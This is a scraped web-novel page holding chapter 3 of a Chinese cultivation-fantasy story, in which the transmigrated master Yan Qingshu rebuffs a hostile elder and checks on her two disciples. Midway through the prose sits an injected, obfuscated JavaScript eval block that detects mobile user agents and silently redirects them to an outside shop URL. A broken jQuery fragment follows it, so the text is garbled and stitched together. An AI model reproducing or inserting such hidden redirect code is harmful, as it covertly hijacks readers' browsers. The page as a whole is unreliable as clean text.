文趣网 > 其他小说 > 师尊她偏要捡炮灰 > 3. 师兄
    听见来人是找茬的,晏清疏脸色不虞,冷若冰霜,周身气温骤减。然而她攥紧拳头,没有唤出镜天——对现在的晏清疏来说,不到最后一刻还不能诉诸武力。

    那人御剑速度极快,大有一副讨债的气势,一路速度不减,离得近了才发现山峰之上站着一个人。

    定睛一看,那人登时气血上涌,“晏清疏?你还有脸站在这里?”

    晏清疏不置一词,瞧着来人竟是个老头,嘴巴上一大把花白的腮胡子,眉毛在脸上盘根错节,额头上三道皱纹清晰可见。

    她仔细回想了一番,试图进行人脸匹配无果,只隐约想起此前偶尔在正殿议事时,一直有个人同原主不对付,但原主连一个眼神都没给到过对方。这老头虽不确定是不是印象中那人,但那声音响起的瞬间,晏清疏本能地感到厌恶和烦躁。

    那人御剑直冲晏清疏面门,晏清疏侧身一闪躲过,看着一人一剑失控地冲倒在地,她稳稳站定,冷冷嗤道:“无名鼠辈,也敢如此喧哗?”

    那老头体格子倒不错,倒在地上扑通一声,应是撞得不轻。却也只是闷哼一声,随后便支起身子站了起来。

    “咳咳咳……”

    然后开始惊天动地地咳嗽。

    如果这个时候晏清疏举起镜天照照脸,想必她的脸是黑的。

    “老头,你哪位?”鉴于将一个老头踹下山峰不太雅观,晏清疏勉强顺下那口气,耐着性子客气问讯。

    那老头闻言咳嗽得更厉害了。

    晏清疏确信原主的确不认得这么个人物。太遥远的事情比较模糊,但原主不是闭关修炼就是下山历练,极少参与宗门事务,也很少在众人面前露面。整个归尘宗,她人脸和名字对得上号的就那么几个有头有脸的人物,外加那两个徒弟。

    那个喜欢开会跟自己找茬的家伙似乎没这么老,虽说晏清疏上次去开会是几百年前的事情了,按照修仙人的寿数算,也并没过多久。

    晏清疏见那老头装模作样地一直咳嗽,迈开步子要走。

    那老头气立马顺了,厉声喝道:“晏清疏,你此番下山一事无成,还差点折了宗门两位弟子的性命。你占着一峰之主的资源,却从不过问宗门之事。宗主对你寄予厚望,可你根本一事无成!两名弟子放在你这里也是浪费天资!栖云峰落在你手里更是宗门不幸!”

    “说完了?”晏清疏侧着身子维持着要走的姿势没动,好整以暇地听着,随后反问道:“你是归尘宗哪位前辈?”

    那老头一愣,似乎没料到对方不认得自己,愤愤地吐了一口气,正欲上前理论,此时一道声音传来。

    “鹤长老消消气,让我来说。”徐来乘着仙鹤落地,一柄羽扇合拢,站在晏清疏身前,朝鹤长清点头示意。

    看见徐来来了,鹤长清神色微妙。

    晏清疏听得一个“鹤”字,若有所思,那个喜欢拍桌子和原主叫板的是不是也姓鹤来着?她扫了那老头一眼,又看了看站在身前的徐来。

    徐来操着一副公事公办的样子道:“宗主已同我说了,我正为此事而来。”

    “哦?宗主她终于决定把他扫地出门了?”鹤长清扬起眉毛,脸上的褶子更多更深了。

    站在小屋,贴着木门听了很久墙角的沈景湛听到这话瞳孔微微放大。

    他从云池往回走,心情渐渐平复下来,走的越来越慢,心情愈发沉重。万一师尊哪天路过云池看见了他扔的那一截布料,会不会生气?毕竟那布料用料特殊,整个宗门只有少数峰主有资格使用,又恰好掉在栖云峰上,到时候他根本解释不清,为什么师尊给他用来保命用的东西会在那里。

    沈景湛越想越后悔自己刚才意气用事,于是急忙回头寻找。还好云池水流速度并不快,沈景湛沿着池边走了一圈,终于在离池边不远处的一个石头旁看到了那块布料,他下水把这块布料捞起,心中暗暗懊悔。

    早知今日,他就应该把它扔在那个蜘蛛洞里!

    等他从后峰回到前峰的小屋,准备下山时,刚好撞见方才那一幕。

    一个是师尊、一位是枕云峰之主,宗门的顶梁柱之一,药尊徐来,还有一位鹤长老鹤长清,沈景湛虽然很少同他打照面,却常听到这个人在宗门的事迹。哪一位他沈景湛都惹不起,走也不是,上前行礼也不是,他只好进了木屋里面躲着。

    鹤长老虽然不是一峰之主,却是宗门里很有威望的老人,听到师尊要被扫地出门的话从他嘴里说出,沈景湛还是不禁心脏一紧,如果连晏清疏都不能留在宗门,那意味着他也无处可去了。

    沈景湛紧张地手脚发麻,喉结滚动了一下。只听见一道冷冷的声音传来:“莫不是先请鹤长老讲讲规矩?”

    晏清疏轻笑道:“方才我才记起,原来是鹤长老,失敬失敬。”她不过刚下山回来,这老头就敢上门找麻烦,真是人善被人欺,她越过徐来,眼神示意他,自己能解决。

    徐来捕捉到了晏清疏目光中少有的怒色,心下了然,让出位置,一双笑眯眯的眼睛从扇子上露出来,一幅有好戏看的样子。

    “敢问鹤长老,修了几百年,修为可有寸进?”

    鹤长清先是一愣,随即愤愤瞪了晏清疏一眼,正要开口却被晏清疏打断。

    “方才鹤长老说我教徒无方,不知鹤长老的徒弟教得如何?”

    鹤长清一噎,他资质不佳,自己不过刚刚金丹圆满,又因为年纪大了,一心为宗门付出,自己的儿子尚且难以抽出时间教导,更何况收徒?

    “鹤长老操劳宗门事务多年,不知宗门的账目您可算清了?新弟子入门的俸禄您可发完了?”

    鹤长清沉默一瞬,随即反驳道:“就是因为你这样的蛀虫存在,宗门才一日不如一日!倘若你多献一份力,何须我这把老骨头出马!”

    晏清疏差点被气笑,冷哼一声正要上前,徐来这时拦住她,朝鹤长清道:“鹤长老误会了,晏清疏前些日子闭关,已经步入元婴期了。”

    屋子里的沈景湛险些踩到自己的脚,他好不容易稳住身形,肩膀猛地被人一拍,吓得他差点跳起来。

    “元婴期又如何?等等,什么?”鹤长清浑浊的目光亮了一瞬。

    晏清疏此时已经懒得再同这老头掰扯,她已经感觉自己又开始头晕了——自穿越而来,时不时就会犯,脑袋里像灌了铅似的,虽不影响她日常行动,却颇为难受。

    “我身体有些不适,先走了。”晏清疏丢下这么一句,转身朝竹舍走去,把那老头气急败坏的怒吼甩在身后。

    “你别以为我不知道你下山是为了捂着什么腌臜事!迟早被我揪出来!到时候别说徐来了,宗主也护不住你!”

    徐来嘴角的笑容凝固了一瞬,随即压下眉眼,一番软硬兼施,与鹤长清打起了太极。

    这时系统响起:“龙傲天身体指标已恢复至99.9%,请宿主尽快前往查看。”

    晏清疏脚头一转,换了个方向,朝木屋走去。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17887244|212592||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “你说我要培养他,那他现在修为怎么样?”晏清疏好奇自己师尊生涯的起点,问道。

    “炼气九层。”系统回复道。

    “那他杀我要到什么修为?”

    “大乘期。”

    ……那得到猴年马月?

    晏清疏一边在脑海中与系统掰扯细节,一边往木屋这里走。

    却不知屋内两人兵荒马乱。池龙见一个飞身规规矩矩躺倒在床,沈景湛慌倒极致反而平静了下来,他面无表情地上前把小屋的门打开。

    “吱呀”一声。

    晏清疏正在与系统头脑风暴,被这个冷不丁自己打开的门惊得心里一个咯噔。看见沈景湛那张面无表情的脸,她觉得这一幕似曾相识。

    “师尊,您怎么回来了?”沈景湛先发制人,实则心跳已经快蹦出嗓子眼了。

    “……”晏清疏心道这话听起来怎么怪怪的,不是应该她来问吗?

    气氛又诡异地尴尬起来,晏清疏透过门缝看进去,没见到池龙见,问道:“池龙见还没醒吗?”

    沈景湛不语,默默侧身让开位置。待晏清疏走进去,他突然干巴巴道:“若无事,弟子先走了。”

    晏清疏正在脑海中安抚系统,让它不要再叫了,因为发现池龙见没醒过来,系统就疯了一样给他发友情提醒。这会儿沈景湛说了什么她根本没听清,就下意识“嗯”了一声。

    又是“吱呀”一声,昏暗的屋子里又只剩下池龙见和晏清疏两个人。

    晏清疏这才察觉到了一丝不对劲,但也没多想。

    视线转向床上的池龙见,晏清疏懒懒道:“别装睡了,赶紧起来吧。”

    晏清疏无语地看了一眼躺得规规矩矩的池龙见,这和他之前的睡姿可谓天差地别。

    池龙见先是睁开一只眼睛,见师尊正盯着他看,随后睁大两只眼睛,露出一个人畜无害的笑容。

    他一个翻身站了起来,头发乱糟糟地顶在头上,身上的弟子服睡得皱皱巴巴。

    屋外天色已晚,一旁吵吵嚷嚷的吵闹声不知何时慢慢消停,晏清疏打了个响指,一旁的油灯亮起,狭小的屋内顿时明亮起来。

    灯光下,池龙见稍显稚气的脸显露出来,虽然发丝凌乱,但五官与骨相的优越性已经初见端倪——白皙的皮肤血色充沛,眉骨高却不过分突兀,与那双灿若星辰的眼睛相得益彰。薄唇红润,五官排列符合三庭五眼,是一张完全符合“帅气”这两个字的完美的脸。

    晏清疏心中啧啧赞叹,若是头发打理好了,衣服穿好了,再洗一洗去掉浮尘和汗味,整个人该不知道有多好看!妥妥的建模怪啊!

    池龙见被晏清疏直直盯着,有些不自在,疑惑地问道:“师尊,我脸上有东西吗?”

    晏清疏被一呛,胡扯道:“有,你脸上有脏东西,赶快去洗洗。明天早起修炼!”

    随后逃也似的转身就走——屋里混杂着油灯,草药和男孩身上的汗味,实在难闻。

    晏清疏交代完便快步走回竹舍,准备休息一下。

    穿过竹林,晏清疏脚步慢了下来,只见竹舍外徐来不知从何处弄来一个竹椅,正悠闲坐守在门口,见她回来了还朝他招招手。

    这人怎么还没走?玩守株待兔吗?晏清疏心里有点崩溃了。

    她想要一个人呆着怎么这么困难?!

    “若非要紧事,我也不会在此等候了。”徐来像是看出晏清疏的不满,收起扇子,语气难得严肃了几分。